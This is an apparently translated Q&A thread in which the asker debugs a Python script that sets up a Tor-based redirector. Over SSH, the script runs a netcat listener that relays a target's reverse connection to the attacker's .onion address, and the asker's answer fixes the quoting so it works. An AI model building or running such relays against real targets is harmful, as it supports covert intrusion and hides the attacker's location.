SSH命令可以手动工作,但不能通过python

时间:2018-02-10 21:39:06

标签: python ssh tor

我正在编写一个python脚本来帮助我通过tor创建反向监听器。链如下:

目标连接到>一个linux重定向服务器,配置为对所有tcp和dns流量使用tor。

此服务器侦听指定的端口并转发通过>的连接。到攻击者pc的.onion地址,其中netcat接收连接。

我通过SSH连接到重定向服务器,根据需要创建转发端口。除了ssh命令ssh user@ip.address "nc -nvlp 1234 -c'nc address.onion 1234'之外,我的脚本工作正常。如果我在bash终端输入命令,一切都很好。

但我尝试使用os.system,subprocess等发送ssh命令无济于事。我也尝试使用paramiko连接到ssh并发出命令但同样的问题。正如我所说,如果我复制python将发送到bash终端的命令,它工作正常。任何帮助将非常感激。

以下是不起作用的代码段,其余代码只是编辑并重新启动,但如果有人需要,我可以发布所有代码:

 SSH_Hostname = '192.168.1.71'
 SSH_Username = "servant"
 SSH_Command ="ssh %s@%s  \"nc -nvlp <PORT> -c 'nc <ONION> <PORT>' </dev/null &\" &" %(SSH_Username,SSH_Hostname) #works manually

 def SSH_Script(port):
     newSSH_Command=SSH_Command.replace('<ONION>',Get_Onion(TOR_Hidden_Service_Dir))
     newSSH_Command=newSSH_Command.replace('<PORT>',port)

     print "Configuring Redirector > %s" %newSSH_Command
     os.system(newSSH_Command)

呼叫者:

def Create_Listener(lport):
print "Starting listener on %s ..." %lport
Add_Tor_Port(TOR_Hidden_Service_Dir,lport)

retvalue = os.popen("service tor status|grep Active:").read() 
if "inactive" in retvalue:
    print "Starting Tor ..."
    os.system("service tor start")
else:
    print "Re-starting Tor ..."
    os.system("service tor restart")
sleep(3)
print 'Onion Address = %s' %Get_Onion(TOR_Hidden_Service_Dir)
SSH_Script(lport)

#start netcat
portlist = Get_Tor_Ports(TOR_Hidden_Service_Dir)
for prt in portlist:
    print "listening on port %s" %prt

get_onion:

def Get_Onion(hs_dir):
hostnamefile= open('%s/hostname' % hs_dir)
onion= hostnamefile.read().replace('\n','')
hostnamefile.close()
return onion

这就是print newSSH_comand输出的内容:

ssh servant@192.168.1.71  "nc -nvlp 55501 -c 'nc 2xvch5okdl76sn2j.onion 55501' </dev/null &" &

如果我复制该字符串并输入bash一切正常。只是不能让python执行它正确

2 个答案:

答案 0 :(得分:0)

我怀疑这是一个o / s级问题。当您手动运行SSH命令时,您是否从此python脚本运行的同一帐户运行它?用于执行Python脚本的用户帐户可能无法访问SSH,或者用户无法访问authorized_keys文件,该文件可用于查找用户@主机组合的SSH密钥。检查您的SSH设置;)

如果按原样运行此代码,您是否在运行此代码的计算机上看到192.168.1.71上主机的任何登录尝试?

你的get_onion中的行hostnamefile= open('%s/hostname' % hs_dir)似乎在%

之后有一个额外的空格错误

答案 1 :(得分:0)

嗯,我让它为那些有这样麻烦的人工作。无论出于何种原因,python都不喜欢我的&#34;和&#39;订购。我改变了:

SSH_Command ="ssh %s@%s  \"nc -nvlp <PORT> -c 'nc <ONION> <PORT>' </dev/null &\" &" %(SSH_Username,SSH_Hostname)

要:

SSH_Command ="ssh %s@%s  'nc -nvlp <PORT> -c \"nc <ONION> <PORT>\" </dev/null &'&" %(SSH_Username,SSH_Hostname)

对我来说没有多大意义,但无论哪种方式都有效。